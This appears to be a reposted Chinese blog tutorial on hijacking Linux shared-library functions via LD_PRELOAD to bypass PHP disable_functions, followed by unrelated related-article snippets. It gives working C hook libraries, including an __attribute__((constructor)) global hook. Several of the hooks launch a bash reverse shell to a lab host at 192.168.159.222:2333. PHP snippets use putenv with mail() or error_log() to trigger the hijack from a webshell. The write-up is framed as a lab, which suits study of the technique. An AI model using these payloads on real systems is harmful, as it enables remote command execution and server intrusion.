利用 LD_PRELOAD劫持动态链接库,绕过 disable_function

目录

LD_PRELOAD 简介

程序的链接

动态链接库的搜索路径搜索的先后顺序:

利用LD_PRELOAD

简单的劫持

执行id命令

反弹shell

引申至 PHP

绕过disable_function

方法1:使用蚁剑的扩展工具绕过disable_function

方法2:利用 mail 函数启动新进程

方法3:利用 error_log 函数启动新进程

方法4:劫持系统新进程


LD_PRELOAD 简介

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

通过上述对 LD_PRELOAD 的功能的描述,我们可以想到,既然能够覆盖正常的函数库,那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序,来实现我们的目的呢?

程序的链接

程序的链接可以分为以下三种

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

静态链接库,在Linux下文件名后缀为.a,如libstdc++.a。在编译链接时直接将目标代码加入可执行程序。

动态链接库,在Linux下是.so文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享,因此, 动态链接库也称共享库 或者共享对象。

动态链接库的搜索路径搜索的先后顺序:

  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 默认的动态库搜索路径/lib

  • 默认的动态库搜索路径/usr/lib

不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH。

下面是对LD_PRELOAD和LDPRELOAD_PATH的对比介绍:

LD_PRELOAD(not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。

LD_LIBRARY_PATH是在加载无论如何都会加载的库时要搜索的 目录列表。

 可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库

利用LD_PRELOAD

我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

  2. 将所写的 c 文件编译为动态链接库。

  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了

  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中,我们这里用一个 C 语言的 demo 来进行一下测试。

这里我的实验环境是Ubuntu

简单的劫持

(1)首先编辑一个c文件:
cat demo.c 

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {  
    char name[] = "mon"; //定义了数组name[] 里面有“mon”
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

(2)然后使用gcc -o demo demo.c来编译

gcc -o demo demo.c 

编译的结果:

(3)可以试着运行一下这个编译后的文件:

可以看到他需要传入一个参数,那么我们就给他传入一个参数试试:

 

可以看到这时的结果为Your name Wrong!

(4)我们接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数  

cat hook_strcmp.c:

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) { //这里吧系统提供给我们的函数劫持了,让这个程序永远返回为假,让上面的c语言代码中的if语句永远为假
    if (getenv("LD_PRELOAD") == NULL) { 
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

(5)现在编译这个动态链接库

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

(6)然后设置环境变量:

 export LD_PRELOAD=$PWD/hook_strcmp.so

(7)现在我们可以再次尝试执行demo.c查看结果:

可以看到,现在我们无论传入什么值,结果都会输出Your name Correct!

此时我们已经使用LD_PRELOAD劫持了 demo.c 函数的动态链接库

在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws命令来查看,同时系统命令存储的路径为/uer/bin

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?

那这里尝试使用使用LD_PRELOAD劫持ls,在其动态链接库执行前执行id操作

执行id命令

(1)首选编写一个劫持文件hook_ls_strcmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

(2)编译为动态链接库的形式

 gcc -Wall -fPIC -shared -o hook_ls_strcmp.so hook_ls_strcmp.c 
/usr/include/string.h: In function ‘strncmp’:
hook_ls_strcmp.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^

 注:这里只是有一个警告,不用官它

编译完成后的:

设置环境变量:

 export  LD_PRELOAD=$PWD/hook_ls_strcmp.so

然后尝试使用ls命令:

可以看到在正常的命令前我们劫持动态链接库,插入的id命令在ls命令前执行了!

既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell

反弹shell

这里我使用192.168.159.223(ununtu)这台设备用做被反弹主机

新建一个.c后面用于链接库的文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

反弹主机:用的是cetos的192.168.159.222主机

因为没有nc现在先安装一个nc:

yum install  nc

然后再192.168.159.222上使用nc监听着:

nc -lvvp 2333
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

然后在ubuntu上编译这个nc文件:

gcc -Wall -fPIC -shared -o hook_nc.so hook_nc.c 
/usr/include/string.h: In function ‘strncmp’:
hook_nc.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^

然后将该so文件设置到环境变量中

export  LD_PRELOAD=$PWD/hook_nc.so

在centos上使用nc监听2333端口:

最后在ubuntu这里使用ls命令:

再看centos这里已经成功的反弹到ununtu的shell了

引申至 PHP

既然我们已经劫持了系统命令,那么我们是不是就有办法在 web 环境中实现基于 LD_PRELOAD 的 RCE 呢?

但是这里实际上是要仔细思考一下的。

我们需要一个 新的进程 的启动,加之环境变量的操纵与文件上传和文件包含,有时候,我们已经拿到了 shell ,但是因为disable_functions不能执行命令,不能拿到想要的东西,而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell ,就可以执行任意命令了,这也就是我们常说的 绕过 disable_function

绕过disable_function

这里的测试环境:Nginx反向代理实现负载均衡webshell

(1)首先我们进入到对应环境中

/root/AntSword-Labs-master/bypass_disable_functions
然后可以看到有9个文件夹,这里进入1中:

(2)使用docker-compose拉取环境

docker-compose up -d

 这里可以查看一下容器是否运行:

 然后查看文件会发现,这里已经有了一个现成的后门php文件

(3)尝试使用蚁剑连接一下

我们可以登录到容器中:

docker exec -it 5ce1bb59245c /bin/bash

查看这个后门木马文件:

我们可以在蚁剑中新建一个phpinfo.php文件用来查看php的配置:

在浏览器中访问:

在这里可以看到这里将所有可以进行命令执行的函数都禁用掉了,因此这个webshell什么都干不了

 我们可以在蚁剑中打开终端尝试一下:

可以看到确实什么命令都无法执行

想要执行命令需要利用以下两个条件:

第一 php需要启动一个新的进程

第二 控制环境变量

不过这里我们可以注意到一个点很关键,我们需要启动一个新的进程,并利用 LD_PRELOAD 劫持这个进程相关的链接库。

方法1:使用蚁剑的扩展工具绕过disable_function

使用「绕过 disable_functions」插件, 选择 LD_PRELOAD 模式进行

注:没有该插件可以到插件市场中安装一个

然后修改webshell:

然后在到终端测试,就会发现这里可以执行命令了

方法2:利用 mail 函数启动新进程

我们可以先来看一下 mail 函数会调用什么动态链接库:

(1)首先写一个 mail.php

<?php
mail("a@localhost","","","","");
?>

(2)执行以下命令查看进程调用的系统函数明细

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

 (3)然后我们编写劫持mail的c文件hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

(4)编译

gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c 
hook_getuid.c: In function ‘getuid’:
hook_getuid.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]
 }
 ^

(5)编译后我们可以利用 putenv 函数来实现链接库的设置  

<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so'); //注意,这里需要有权限
mail("a@localhost","","","","");
?>

(6)现在centos上对2333端口进行监听

(7) 在ubuntu上执行mail.php文件

(8)然后就可以看到centos这里成功的反弹了ubuntu的shell

方法3:利用 error_log 函数启动新进程

error_log 也存在发送信息的行为,我们可以看到这里也是向邮箱中发送信息,决定发送方式的是倒数第三个参数,为 1 时为邮箱,当然也有可以不存在的参数。

方法与mail的方法大致相同,只需要将php文件修改为以下内容即可

<?php
putenv('LD_PRELOAD=/usr/share/nginx/html/hook_getuid.so');
error_log("",1,"","");
?>

我们可以发现,上面的情况实际上导致了我们的攻击面是非常窄小的,我们在实际情况中很容易就会出现并没有安装 sendmail 的情况,就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢?下面这种方法就可以

方法4:劫持系统新进程

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:

查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

系统通过 LD_PRELOAD 预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那么就完全可以不依赖 sendmail 了。

这里场景让人不禁联想到构造方法,最后找到了在 GCC 中有一个 C 语言的扩展修饰符:

`__attribute__((constructor))` ,这个修饰符可以让由它修饰的函数在 main() 之前执行,如果它出现在我们的动态链接库中,那么我们的动态链接库文件一旦被系统加载就将立即执行`__attribute__((constructor))` 所修饰的函数。

这样就将我们的格局打开了,我们要做的是劫持动态链接库这个共享对象本身而不是单独局限于劫持某几个函数。

以劫持 ls 为例,我们之前所做的就是找到 ls 命令所调用的某一个动态链接库,然后对其进行劫持,但是我们在这里完全可以使用`__attribute__((constructor))` 自动加载之后来直接对 ls 命令进行劫持

(1)我们新建一个global_hook.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("id");
}

(2)编译

gcc -shared -fPIC global_hook.c -o global_hook.so

(3)加载到环境变量

export LD_PRELOAD=$PWD/global_hook.so

(4)我们测试以下执行命令

可以看到,这些有动态链接文件的命令在执行前都会执行id命令,这种方式这是一种全局的劫持

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/204111.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

推荐几款免费的智能AI伪原创工具

在当今信息快速传播的时代&#xff0c;创作者们常常为了在激烈的竞争中脱颖而出而苦苦挣扎&#xff0c;而其中的一项挑战就是创作出独具创意和独特性的内容。然而&#xff0c;时间有限的现实让很多人望而却步。在这个背景下&#xff0c;免费在线伪原创工具成为了创作者们的得力…

Windows核心编程 HOOK

目录 HOOK概述 HOOK API SetWindowsHookExA 函数(winuser.h) UnhookWindowsHookEx 函数(winuser.h) NextHookEx 函数(winuser.h) 局部钩子 全局钩子 为什么全局钩子需要用dll作为过程函数&#xff1f; HOOK概述 本质&#xff1a;Windows消系统的消息过滤器。 全局钩子…

还在愁没项目?来瞧瞧这些另类赚钱方式

客套话不多说&#xff0c;直接上案例&#xff0c;这些都是正儿八经的真实案例&#xff0c;相信大家通过这些人的案例自然能摸索整理出一套属于自己的项目&#xff01;摸索不出&#xff0c;也多多少少能受一些灵感上的启发。 小A是长期混B站的&#xff0c;大家称他为“B站搬运工…

直流负载与交流负载的作用

直流负载和交流负载都是用来消耗电能的装置或设备&#xff0c;它们的作用是将电能转化为其他形式的能量&#xff0c;以满足特定的需求。直流负载主要用于直流电路中&#xff0c;例如直流电源、电池等。它们可以将直流电能转化为热能、光能、机械能等。直流负载在很多领域都有广…

【BSP开发经验】uboot gpl框架开发经验

文章目录 uboot_gpl 隔离 的目的uboot_gpl 隔离基本原理uboot_gpl 基本框架uboot_gpl 适配新平台的方式uboot 添加hikcmd功能适配调试步骤 链接脚本语法链接脚本的格式链接脚本的简单示例设置入口点&#xff08;entry&#xff09;设置输出文件名处理目标文件格式的命令uboot_gp…

whatsapp信息群发脚本开发!

WhatsApp 作为全球广受欢迎的通讯应用&#xff0c;在我们的日常生活中扮演着重要角色&#xff0c;有时候&#xff0c;我们需要向大量联系人发送消息&#xff0c;比如营销推广、活动通知等。 一个个手动发送消息?那简直太落后了!今天&#xff0c;我们将探讨如何利用脚本开发实…

web:catcat-new(文件包含漏洞、flask_session伪造)

前提知识 /etc/passwd 该文件储存了该Linux系统中所有用户的一些基本信息&#xff0c;只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell&#xff08;以冒号作为分隔符&#xff09; /proc/self proc是一个伪文件系统…

项目终验的exce表格缩放,排版等经常使用

xxx个项目的验收资料 1.申请表等等很多信息 需求&#xff1a;放在一页内等办法 上述文档&#xff0c;在excel表格打印预览中都是在两页中&#xff0c;很难调节&#xff0c;这个时候采用wps专业版本即可。 wps排版经常使用的功能如下&#xff1a; 经常使用的是 1.把所有列打印…

Apache Doris 整合 FLINK CDC 、Paimon 构建实时湖仓一体的联邦查询入门

1.概览 多源数据目录&#xff08;Multi-Catalog&#xff09;功能&#xff0c;旨在能够更方便对接外部数据目录&#xff0c;以增强Doris的数据湖分析和联邦数据查询能力。 在之前的 Doris 版本中&#xff0c;用户数据只有两个层级&#xff1a;Database 和 Table。当我们需要连…

网络视频怎么更改IP?使用静态IP更改地址有哪些好处?

随着互联网的普及&#xff0c;越来越多的人开始使用网络视频。有时候&#xff0c;我们可能会遇到需要更改网络视频的IP地址的情况。那么&#xff0c;如何更改IP地址呢&#xff1f;使用静态IP更改地址又有哪些好处呢&#xff1f; 首先&#xff0c;我们来了解一下什么是静态IP地址…

外贸行业多人文件共享云盘推荐

Zoho WorkDrive外贸行业解决方案致力于为各类外贸企业客户提供数字化转型的支持&#xff0c;全面覆盖市场调研、客户服务与管理、产品设计与制作、采购、供应商管理、财务对账、单证报关、仓储管理以及物流运输等环节。Zoho WorkDrive企业网盘提供文件资料在线存储、共享、同步…

C/C++转义符:\x

文章目录 什么是转义符使用"\x"定义char数组宏定义中的\ 什么是转义符 在C语言中&#xff0c;转义符用于将一些特殊字符表示为单个字符&#xff0c;常用的转义符有&#xff1a; \\&#xff1a;反斜杠符号\&#xff1a;单引号\"&#xff1a;双引号\a&#xff1…

动态规划--使用最小花费爬楼梯

题目描述 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用&#xff0c;即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费。 示例…

如何有效避免七个常见的身份验证漏洞

引言 随着网络威胁的数量不断增加&#xff0c;了解学习可能会危及到客户在线身份的常见身份验证漏洞就显得格外重要。如果需要在网上满足客户的需求&#xff0c;并使用传统的身份验证机制时&#xff0c;就要对身份验证漏洞保持警惕。 只有了解了这些漏洞&#xff0c;才可以更…

vue3随机生成8位字母+数字

// 随机生成8位字母数字 export const autoPassword: any () > {// console.log("自动生成");//可获取的字符串const chars ABCDEFGHIJKLMNOPQRSTUVWSYZabcdefghijklmnopqrstuvwsyz0123456789;const list [];//通过随机获取八个字符串的索引下标for (let i 0;…

谁可以从使用 Amazon Lightsail 进行 VPS 托管中受益?

文章作者&#xff1a;Libai 介绍 在当今数字化的环境中&#xff0c;拥有可靠和高效的托管解决方案对于企业和个人来说至关重要。由于其灵活性、可扩展性和成本效益&#xff0c;虚拟专用服务器&#xff08;VPS&#xff09;托管已经在市场上获得了巨大的流行。Amazon Lightsail …

样品实验Fortegra202环氧树脂增韧剂TDS说明书

样品实验Fortegra202环氧树脂增韧剂TDS说明书 150克/瓶

关于pyqt5与moviepy到打包的坑点

1,pyqt5 关于pyqt5 designer.exe 的使用主要就是了解pyqt5右侧菜单栏的功能使用 打包后的文件&#xff0c;需要继承改类&#xff0c;进行图形指令交互 关于pyqt5&#xff0c;要了解信号&#xff0c;和槽点的相互关系。 我在pyqt5中使用moviepy的时候&#xff0c;需要用到异步…

厦门城市建设与建筑结构健康监测系统的重要性与作用

厦门&#xff0c;这座美丽的海滨城市&#xff0c;随着经济的快速发展和城市化的不断推进&#xff0c;城市建设已成为人们关注的焦点。其中&#xff0c;建筑结构健康监测系统对于保障城市建设和建筑的安全具有举足轻重的地位。 WITBEE万宾针对建筑的动态平衡&#xff0c;温湿度&…

虾皮、Lazada稳定的测评系统需要哪些技术要求

测评作为一项高效运营手段&#xff0c;具有显著的重要性。然而&#xff0c;对于卖家而言&#xff0c;自行建立一套测评系统所需的技术条件并非易事。 在构建系统之前&#xff0c;必须深入理解每个平台的控制风险机制&#xff0c;而后才能开展下一步的建设工作。 1.首先&#…